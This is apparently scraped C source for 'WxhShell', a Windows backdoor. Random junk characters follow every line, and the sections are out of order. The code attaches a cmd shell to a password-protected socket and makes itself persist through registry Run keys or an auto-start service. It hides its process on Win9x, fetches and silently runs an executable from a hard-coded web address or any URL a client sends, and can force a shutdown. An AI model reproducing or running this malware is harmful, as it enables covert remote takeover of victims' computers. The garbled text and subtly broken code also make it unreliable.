    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tEWj}rX   
    else { N5w]2xz!  
    closesocket(wsh); )q]j?Z.  
    ExitThread(0); jK C qH$  
    } a9@l8{)RX  
    break; ".Deu|>  
    } ^?^|Y?f2P?  
  // 获取shell  I^(o3B  
  case 's': { Vg [5bJ5  
    CmdShell(wsh); ;aRWJG  
    closesocket(wsh); C1P t3  
    ExitThread(0); ` .sIZku  
    break; ^K 77V$v  
  } .J6 j"  
  // 退出 O'& \-j 1  
  case 'x': { <>*''^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l&^[cR  
    CloseIt(wsh);  _7j/[  
    break; 4Utx 9^  
    } #;*ai\6>vD  
  // 离开 A^Hp#b @  
  case 'q': { ry'^1~,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &A5[C{x  
    closesocket(wsh); Jn:GA@[I  
    WSACleanup(); a+a%}76N  
    exit(1); {R{%Z  
    break; : .w'gU_  
        } ]kplb0`  
  } 4;c_%=cU  
  } S5pP"&I[  
u, SX`6%  
  // 提示信息 yA>p[F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); knK=ENf;e  
} ;'18  
  } 1\608~ZH  
k}0  
  return; "6NNId|Y  
} M"$RtS|h  
]MA)=' ~  
// shell模块句柄 bQN4ozSi  
int CmdShell(SOCKET sock) by y1MgQd  
{ O"-PNF,J  
STARTUPINFO si; _467~5JkU  
ZeroMemory(&si,sizeof(si)); A[$wxdc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C^42=?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~z1KD)^   
PROCESS_INFORMATION ProcessInfo; wsGq>F~  
char cmdline[]="cmd"; NMY!-Kv 5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &qI5*aQ8T  
  return 0; oJp_c  
} .HyiPx3^  
K~ /V  
// 自身启动模式 xo_k"'f+  
int StartFromService(void) +U/"F|M  
{ cCbr-Z&  
typedef struct 6exlb:  
{ -K'84 bZ  
  DWORD ExitStatus; p*&LEjaVM4  
  DWORD PebBaseAddress; AA& dZjz  
  DWORD AffinityMask; MLIQ 8=  
  DWORD BasePriority; O>F.Wf5g  
  ULONG UniqueProcessId; I8%'Z>E(  
  ULONG InheritedFromUniqueProcessId; Cg\)BHv~  
}   PROCESS_BASIC_INFORMATION; ieF 0<'iF  
.-26 N6S  
PROCNTQSIP NtQueryInformationProcess; dSOn\+  
YK+Z0ry  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .6/p4OR|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |2&mvjk@H  
gLxy RbVI  
  HANDLE             hProcess; hE#8_34%s  
  PROCESS_BASIC_INFORMATION pbi; x w83K  
_C8LK.M#j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <fxjj  
  if(NULL == hInst ) return 0; J&Qy$itqg  
{}C7VS1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); EkAqFcKLq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yrYaKh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,v5>sL  
&+{xR79+&  
  if (!NtQueryInformationProcess) return 0; Cwa0!y5%  
^t%M   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i@j ?<  
  if(!hProcess) return 0; <:7e4#  
;3}b&Z[N]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d@4=XSj  
Fl>j5[kLZ  
  CloseHandle(hProcess); ,F9wc<V8  
p[VCt" j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^[z\KmUqt  
if(hProcess==NULL) return 0; )3\rp$]1  
ZU@jtqq  
HMODULE hMod; ~9;mZi1-  
char procName[255]; *7V{yK$O|  
unsigned long cbNeeded; {Om3fSk:  
G8-d%O p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %LlKi5u]  
E :g ArQ  
  CloseHandle(hProcess); ;RZa<2  
^a5~FI:  
if(strstr(procName,"services")) return 1; // 以服务启动 4GejT(U  
4i&!V9@:  
  return 0; // 注册表启动 'u%;6'y  
} ?gP/XjToMg  
yXl.Gq>]{  
// 主模块 Y k6WSurw  
int StartWxhshell(LPSTR lpCmdLine) [c%}L 3B  
{ \/%Q PE8  
  SOCKET wsl; .%h_W\M<l  
BOOL val=TRUE; U]&%EqLS  
  int port=0; -* j;  
  struct sockaddr_in door; 0vNM#@  
93 b5S>&r  
  if(wscfg.ws_autoins) Install(); 8k% :w0H  
^w}Ib']X  
port=atoi(lpCmdLine); o"CqVRR  
a' fb0fz  
if(port<=0) port=wscfg.ws_port; SygsZv&LZ  
g+{MvSj$  
  WSADATA data; g@i 4H[k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1:V/['|*g)  
6UP3Ij  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hrxASAfg6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iU|C<A%Hh  
  door.sin_family = AF_INET; -/*{^[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ViONG]F  
  door.sin_port = htons(port); YWd(xm"4  
kQcQi}e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |EU08b]P29  
closesocket(wsl); wC@ U/?  
return 1; 9uo\&,,  
} 7En~~J3  
qo ![#s  
  if(listen(wsl,2) == INVALID_SOCKET) { }z@hx@N/  
closesocket(wsl); ,FPgs0rrS  
return 1; cW>`Z:6{K  
} :9>nY  
  Wxhshell(wsl);  F<1'M#bl  
  WSACleanup(); Ho9*y3]  
~_6rD`2cJ  
return 0; 1O{67Pf  
RT 9|E80  
}  16{;24  
c9K\K~bk  
// 以NT服务方式启动 !2,.C+,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3c"{Wu-}  
{ v8=MO:>{R  
DWORD   status = 0; E$baQU hKS  
  DWORD   specificError = 0xfffffff; 4K,&Q/Vdd7  
SxyFFt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %|||M=akk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7] H4E.(l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C_;6-Q%V  
  serviceStatus.dwWin32ExitCode     = 0; J#^M   
  serviceStatus.dwServiceSpecificExitCode = 0; 3KZ h?~B  
  serviceStatus.dwCheckPoint       = 0; #7)6X:/O  
  serviceStatus.dwWaitHint       = 0; 9EQ,|zf'  
riQ?'!a7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HxAa,+k  
  if (hServiceStatusHandle==0) return; z(` kWF1<  
OTm"Iwzu@  
status = GetLastError(); Ds$;{wl#x  
  if (status!=NO_ERROR) *9 xD]ZZF  
{ |9@;Muq;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R 1\]Y  
    serviceStatus.dwCheckPoint       = 0; }'JPA&h|  
    serviceStatus.dwWaitHint       = 0; !h;VdCCi#  
    serviceStatus.dwWin32ExitCode     = status; =!2   
    serviceStatus.dwServiceSpecificExitCode = specificError; D-/A>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )oCF| 2qc  
    return; U^S0H(>  
  } gne c#j  
qyC"}y-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [ ff.R  
  serviceStatus.dwCheckPoint       = 0; jKs8i$q  
  serviceStatus.dwWaitHint       = 0; C8-q<t#SF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L T!X|O.  
} r>OE[C69  
9)`wd&!  
// 处理NT服务事件,比如:启动、停止 _;+&'=6.[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :I8t}Wg  
{ UJ+JVj   
switch(fdwControl) p<NgT1"{  
{ q9>w3 <  
case SERVICE_CONTROL_STOP: {w(N9Va,(  
  serviceStatus.dwWin32ExitCode = 0; gfHlY Q]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #-O4x`W>  
  serviceStatus.dwCheckPoint   = 0; w\a#Bfcv  
  serviceStatus.dwWaitHint     = 0; xFh}%mwpt[  
  { >U]. k8a)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $MR4jnTT  
  } G#>nOB  
  return; ) eV]M~K:  
case SERVICE_CONTROL_PAUSE: sP#5l @  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *HUqW}_r  
  break; B:SRHd{*Wu  
case SERVICE_CONTROL_CONTINUE: *&km5@*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Sr0mA M  
  break; Smo'&x  
case SERVICE_CONTROL_INTERROGATE: Spb'jAKj'  
  break; #';r 0?|  
}; Tbw8#[6AX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6kk(FVX  
} Y2fs$emv  
A}o1I1+  
// 标准应用程序主函数 H3b`)k sFr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "7d_$.Z  
{ MH-,+-Eq  
! `o =2b=N  
// 获取操作系统版本 n%}0hVu  
OsIsNt=GetOsVer(); 7>TG ]&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); NUseYU``  
{[eY/)6H  
  // 从命令行安装 c s> W6  
  if(strpbrk(lpCmdLine,"iI")) Install(); nN: i{t4f  
Gbhaibk O  
  // 下载执行文件 ^[6AOz+L  
if(wscfg.ws_downexe) { (uE_mEIsv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4?cg6WJ'6  
  WinExec(wscfg.ws_filenam,SW_HIDE); i@6 kI C  
} uQ}kq7gd  
!{+(oDN  
if(!OsIsNt) { &^"m6  
// 如果时win9x,隐藏进程并且设置为注册表启动 u=5^xpI<D  
HideProc(); k 'o?/  
StartWxhshell(lpCmdLine); `Bx CTwc  
} 4R.#=]F  
else \4 DH&gZ[  
  if(StartFromService()) k K(,FB  
  // 以服务方式启动 E;SF f  
  StartServiceCtrlDispatcher(DispatchTable); gw-l]@;1  
else  _~r>C  
  // 普通方式启动 "&~Um U4CN  
  StartWxhshell(lpCmdLine); wiZK-#\x  
3i<*,@CY  
return 0; *Zln\Sx  
} H"sey +-  
6b0#z#E  
#gP\q?5Ov  
K(hf)1q  
=========================================== L))(g][;  
zc_3\N  
1 OX(eXF>  
%q@@0qenv  
y~w$>7U.  
%~@}wHMB  
" S&yCclM  
:(Gg]Z9^8  
#include <stdio.h> QAr1U7{(.  
#include <string.h> SExd-=G  
#include <windows.h> F C"dQ  
#include <winsock2.h> Y,{Xv  
#include <winsvc.h> K-/fq=z  
#include <urlmon.h> s;L7 _.hH@  
@jfd.? RK!  
#pragma comment (lib, "Ws2_32.lib") /Bc ;)~  
#pragma comment (lib, "urlmon.lib") K=;p^dE  
KQh'5o&  
#define MAX_USER   100 // 最大客户端连接数 Q'Q^K  
#define BUF_SOCK   200 // sock buffer fz%urbJR  
#define KEY_BUFF   255 // 输入 buffer :jA~zHO  
a"}?{  
#define REBOOT     0   // 重启 w%htY.-  
#define SHUTDOWN   1   // 关机 {ES3nCL(8  
N:0mjHG  
#define DEF_PORT   5000 // 监听端口 7yKadM~)  
(RQ kwu/  
#define REG_LEN     16   // 注册表键长度 V\A?1   
#define SVC_LEN     80   // NT服务名长度 L(iWFy1& T  
hTF]-& hZ  
// 从dll定义API W n|w~{d{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v vFX\j3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h4]yIM `8d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nlKWZYv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N( Cfv3{  
(URWi caB  
// wxhshell配置信息 ]cbY@U3!2  
struct WSCFG { qT(j%F  
  int ws_port;         // 监听端口 t6j|q nfw  
  char ws_passstr[REG_LEN]; // 口令 ZJS7#<-7o  
  int ws_autoins;       // 安装标记, 1=yes 0=no <EJC.W WJa  
  char ws_regname[REG_LEN]; // 注册表键名 /" ,]J  
  char ws_svcname[REG_LEN]; // 服务名 R/iXO~/"J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 '/mwXvl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &uC7W.|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P9gIKOOx#4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]R( =)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f"S^:F0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [H!V  
2x0[@cT i?  
}; wj5{f5 RWV  
S?&ntUah  
// default Wxhshell configuration %1S;y  
struct WSCFG wscfg={DEF_PORT, (JOge~U  
    "xuhuanlingzhe", 1aKY+4/G  
    1, -(dc1?COi  
    "Wxhshell", &GX pRo  
    "Wxhshell", ^+I{*0{/[  
            "WxhShell Service", /S%{`F=  
    "Wrsky Windows CmdShell Service", C"K(-/  
    "Please Input Your Password: ", Z{|wjZb(  
  1, v#F .FK  
  "http://www.wrsky.com/wxhshell.exe", XK>B mq/]  
  "Wxhshell.exe" {qK>A?9  
    }; )D Y?Y-n  
@xR=bWY  
// 消息定义模块 }k$2r3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =*fOej>G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V|Smk;G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oJEind>8O  
char *msg_ws_ext="\n\rExit."; JS} iNS'X  
char *msg_ws_end="\n\rQuit."; D >$9(  
char *msg_ws_boot="\n\rReboot..."; jCkYzQUPz  
char *msg_ws_poff="\n\rShutdown..."; aVEg%8  
char *msg_ws_down="\n\rSave to "; 3nMXfh/  
w!7Hl9BW  
char *msg_ws_err="\n\rErr!"; ZJ1 %  
char *msg_ws_ok="\n\rOK!"; !A qSG-  
R]H/Jv\'  
char ExeFile[MAX_PATH]; }9=VhC%J  
int nUser = 0; Bg {"{poy  
HANDLE handles[MAX_USER]; *Mk5*_  
int OsIsNt; NvY%sx,  
X&b)E0]pR  
SERVICE_STATUS       serviceStatus; (V 5_q,2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D}OvD |<-  
<7-3j{065  
// 函数声明 4vC { G.  
int Install(void); l!5fuB8  
int Uninstall(void); [BWA$5D)Ny  
int DownloadFile(char *sURL, SOCKET wsh); &c%;Lo  
int Boot(int flag); v25]}9/C  
void HideProc(void); p@0Va  
int GetOsVer(void); iLD}>=  
int Wxhshell(SOCKET wsl); 7Rwn{]r  
void TalkWithClient(void *cs); d?)k<!fJk  
int CmdShell(SOCKET sock); :+06M@  
int StartFromService(void); K 0R<a~  
int StartWxhshell(LPSTR lpCmdLine); hX;JMQ915  
K?`Fpg (  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  Em?bV(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `saDeur#X  
D<% /:M  
// 数据结构和表定义 >NDI<9<'0}  
SERVICE_TABLE_ENTRY DispatchTable[] = Gf*|f"O  
{ hj[&.w  
{wscfg.ws_svcname, NTServiceMain}, u 6A!Sw  
{NULL, NULL} j\@Ht~G  
}; SHWD@WLE4  
+es|0;Z4yP  
// 自我安装 9}G.Fr  
int Install(void) O!xul$9  
{ N;gI %6  
  char svExeFile[MAX_PATH]; }&!fT\4  
  HKEY key; -k(bM:  
  strcpy(svExeFile,ExeFile); GI']&{  
v"-@'qN'  
// 如果是win9x系统,修改注册表设为自启动 d|I?%LX0p  
if(!OsIsNt) { I54`}Npp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iW oe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |T3F:],`  
  RegCloseKey(key); m%7T ~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I8M^]+c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7 G37V"''  
  RegCloseKey(key); D[#6jJ Ab  
  return 0; II;   
    } <l>o6K  
  } ?Pbh&!  
} pQ2'0u5w5  
else { n;QMiz:yY  
)a99@`L\P  
// 如果是NT以上系统,安装为系统服务 T3H\KRe6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ol#| .a2O  
if (schSCManager!=0) 8p"R4  
{ @?bO@  
  SC_HANDLE schService = CreateService s&.VU|=VQ@  
  ( a\_?zi]s&,  
  schSCManager, *UxN~?N|  
  wscfg.ws_svcname, E)ne z  
  wscfg.ws_svcdisp, N./l\NtZ  
  SERVICE_ALL_ACCESS, :^bjn3b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a]NH >d  
  SERVICE_AUTO_START, Ga,+  
  SERVICE_ERROR_NORMAL, 2d:IYCl4q  
  svExeFile, V d`}F0WD  
  NULL, J2Y S+%K  
  NULL, 4rDa Jd>,  
  NULL, $e#V^dph  
  NULL, 5,vw%F-m  
  NULL 9S<g2v  
  ); ip)gI&kN`z  
  if (schService!=0) D^dos`L0b  
  { # cGn5c}  
  CloseServiceHandle(schService); S29k IJ  
  CloseServiceHandle(schSCManager); jq_E{Dq1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'jnR<>N  
  strcat(svExeFile,wscfg.ws_svcname); i`st'\I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z~[EZgIg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lJ>OuSd  
  RegCloseKey(key); n=_jmR1  
  return 0; v#X l  
    } 25R6>CXsi  
  } #]SiS2lM#  
  CloseServiceHandle(schSCManager); x b6X8:  
} 'cgB$:T}.,  
} YZ\a#s ,0  
4;;K1< 1  
return 1; P[q 'Y^\  
} N$I@]PL  
=hAH6C  
// 自我卸载 fY|P+{BO2  
int Uninstall(void) VV'*3/I  
{ vr2cDk{  
  HKEY key; og$%`o:{  
jXH?os%  
if(!OsIsNt) { 1^v?Ly8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <<vT"2Q]  
  RegDeleteValue(key,wscfg.ws_regname); sQl`0|VH  
  RegCloseKey(key); Yt3 +o<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1ZZ}ojq  
  RegDeleteValue(key,wscfg.ws_regname); }} s.0Q  
  RegCloseKey(key); oEJYAKN  
  return 0; &\p=s.y?j  
  } D #Ku5~j  
} Ew,1*WK!  
} 6C@W6DR3N  
else { $-*E   
 "o{o9.w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yH<a;@C  
if (schSCManager!=0) 4+1aW BJ2  
{ G_cWp D/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0r/pZ3/  
  if (schService!=0) kklM"Av  
  { n-)Xs;`2  
  if(DeleteService(schService)!=0) { qPH=2k ,H  
  CloseServiceHandle(schService); DMXm$PU4V  
  CloseServiceHandle(schSCManager); V7}3H2]^  
  return 0; qZ=%r u  
  } lk(.zYaaN  
  CloseServiceHandle(schService); f#>ubmuI^  
  } 31-:xUIX  
  CloseServiceHandle(schSCManager); {];8jdg/?  
} r5wy]z^  
} vQ_D%f4;  
'n$TJp|s  
return 1; QA"mWw-Ds  
} azKiXr#_(  
j-}WA"  
// 从指定url下载文件 oU[>.Igi  
int DownloadFile(char *sURL, SOCKET wsh) F?y4 L9|e  
{ S`t@L}  
  HRESULT hr; z4B-fS]  
char seps[]= "/"; vj#Y /B  
char *token; 0Z,a3)jcc  
char *file; 7Z7e}| \W  
char myURL[MAX_PATH]; V/,@hv`+  
char myFILE[MAX_PATH]; + r<d z  
6jaol'{SuH  
strcpy(myURL,sURL); Uja`{uc  
  token=strtok(myURL,seps); lKT<aYX  
  while(token!=NULL) Xe. az  
  { b,#lw_U"  
    file=token; w$fP$ \+  
  token=strtok(NULL,seps); yKb+bm&5:'  
  } NpLO_-  
YEiQ`sYKG  
GetCurrentDirectory(MAX_PATH,myFILE); Lbwc2Q,.-  
strcat(myFILE, "\\"); TDY2 M  
strcat(myFILE, file); H="E#AC%8/  
  send(wsh,myFILE,strlen(myFILE),0); *Y\C5L ]  
send(wsh,"...",3,0); {wq~+O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'jr[ ?WQ  
  if(hr==S_OK) 9esMr0*=  
return 0; ZOIx+%/Vd#  
else  O86[`,  
return 1; E|~)"=  
EG; y@\]  
} GFX$vn-/F  
A^3M~  
// 系统电源模块 x(r~<a[  
int Boot(int flag) PYhRP00}M  
{ 2M`:/shq  
  HANDLE hToken; \#%1t  
  TOKEN_PRIVILEGES tkp; q y\Z2k  
W[4 V#&Z  
  if(OsIsNt) { "MX9h }7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tA{B~>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8}_M1w6v  
    tkp.PrivilegeCount = 1; ymo].  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )Bo]+\2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :41Ch^\E  
if(flag==REBOOT) { +`]AutNv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #*|Gp_l+%  
  return 0; +5xVgIk#  
} 6aq=h`Y  
else { [,?5}'we  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XtP5IN\S  
  return 0; *74VrAo  
} lD41+x 7  
  } i+XHXpk  
  else { ^Yg}>?0  
if(flag==REBOOT) { VlbS\Y.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L[rxs[7~  
  return 0; tH^]`6"QUa  
} i[7<l&K]  
else { 2M$^|j:[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n=1_-)  
  return 0; 8{)j"rghah  
} l1#F1q`^t  
} }T1.~E  
FA7q pc  
return 1; U ,7O{YM  
} 4Uzx2   
2, R5mL$  
// win9x进程隐藏模块 `-)Hot)  
void HideProc(void) 1n-+IR"  
{ FofeQ  
H:5- S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d,+a}eTP'  
  if ( hKernel != NULL ) e4mAKB s!  
  { jn,_Ncd#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nA4PY]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Tk~Y  
    FreeLibrary(hKernel); \iQ{Q &JR:  
  } hcX`X2^  
+ rN&@}Jt.  
return; ~Kiu " g  
} 2R=Fc@MXs  
< ?{ic2j#  
// 获取操作系统版本 /O {iL:`  
int GetOsVer(void) 'J1!P:tJ  
{ )1iqM]~;B  
  OSVERSIONINFO winfo; rjWn>M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dh0nB  
  GetVersionEx(&winfo); ,C;%AS/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W<tw],M-#  
  return 1; ;w(tXcXZ  
  else DU|>zO%  
  return 0; AU3>v  
} , aJC7'(  
9kby-A4  
// 客户端句柄模块 {\p&?  
int Wxhshell(SOCKET wsl) ;&OVV+y  
{ ttfCiP$  
  SOCKET wsh; 4Gor*{  
  struct sockaddr_in client; ^+k~{F,)  
  DWORD myID; `JzP V/6  
>j6"\1E+Dz  
  while(nUser<MAX_USER) #dhce0m  
{ y*7{S{9  
  int nSize=sizeof(client); 7 <<`9,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g|=1U  
  if(wsh==INVALID_SOCKET) return 1; c\DMeYrg  
}-N4D"d4o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5=hMTztf!!  
if(handles[nUser]==0) n"g)hu^B  
  closesocket(wsh); ~v|NC([(  
else -I'Jm=q3]  
  nUser++; )l6(ss!J  
  } .8]buM5_G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); . /@C  
7w5C NV  
  return 0; opv<r* !  
} PFI^+';  
&1Cif$Y4w  
// 关闭 socket  sDl @  
void CloseIt(SOCKET wsh) 7?"-:q  
{ 3{H&{@Q  
closesocket(wsh); e#!,/p E  
nUser--; dj2w_:&W  
ExitThread(0); hEMS  
} j^6,V\;l  
BK)3b6L=%  
// 客户端请求句柄 AOv>O52F/Q  
void TalkWithClient(void *cs) ]47!Zo,  
{ )'i n}M  
ZO8r8 [  
  SOCKET wsh=(SOCKET)cs; 'BX U '  
  char pwd[SVC_LEN]; D $&6 8  
  char cmd[KEY_BUFF]; .g>0FP  
char chr[1]; )~be<G( a  
int i,j; $Y?[[>u  
fM!@cph(8  
  while (nUser < MAX_USER) { 7Sl"q=>  
K_GqM9  
if(wscfg.ws_passstr) { IylfMwLC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &1FyauH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3DOc,}nI~@  
  //ZeroMemory(pwd,KEY_BUFF); bZ[ay-f6oK  
      i=0; $J9/AFzO"  
  while(i<SVC_LEN) { 4Hq6nT/  
bPA1>p7  
  // 设置超时 BT|n+Y[  
  fd_set FdRead; fRK=y+gl@  
  struct timeval TimeOut; ~u-_DOA  
  FD_ZERO(&FdRead); :V~ AjV  
  FD_SET(wsh,&FdRead); W(o#2;{ ln  
  TimeOut.tv_sec=8; nj=nSD  
  TimeOut.tv_usec=0; v9MliD'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); XM~eocn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); iLk"lcX  
gQ$0 |0O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pf#DBW*  
  pwd=chr[0]; q'KXn0IY#  
  if(chr[0]==0xd || chr[0]==0xa) { lS |:4U.  
  pwd=0; Z+agS8e(  
  break; icN#8\E  
  } NszqI  
  i++; TXbnK"XQ  
    } g`I$U%a_2  
m+3]RIr&A  
  // 如果是非法用户,关闭 socket 51'{Jx8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9E2OCLWrE  
} gr\vC  
RU+F~K<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Sh(XFUJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {nH*Wu*^  
xG:7AGZ$[  
while(1) { oH1]-Nl$  
n0b{Jg *  
  ZeroMemory(cmd,KEY_BUFF); M9QxF  
j"9Zaq_  
      // 自动支持客户端 telnet标准   1O+$"5H  
  j=0; l 9bg  
  while(j<KEY_BUFF) { PBb'`PV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DAQozhP8  
  cmd[j]=chr[0]; [E;~Y_l  
  if(chr[0]==0xa || chr[0]==0xd) { ;Swj`'7  
  cmd[j]=0; Voo_ ?  
  break; 5@EX,$h  
  } @vPGkM#oW  
  j++; O5dBI_  
    } (d#W3  
qb KcI+)47  
  // 下载文件 YJ{_%z|U  
  if(strstr(cmd,"http://")) { ESi-'R&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mhMRY9ahB  
  if(DownloadFile(cmd,wsh)) 4 IXa[xAm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); NT<}-^  
  else i+~H~k}"X  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @T)>akEOt  
  } [cT7Iqip  
  else { `g'z6~c7n  
5Eu`1f?  
    switch(cmd[0]) {  EHda  
  ]]/p.#oD,  
  // 帮助 N[wyi&m4  
  case '?': { tx]!|x" F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M [6WcH0/T  
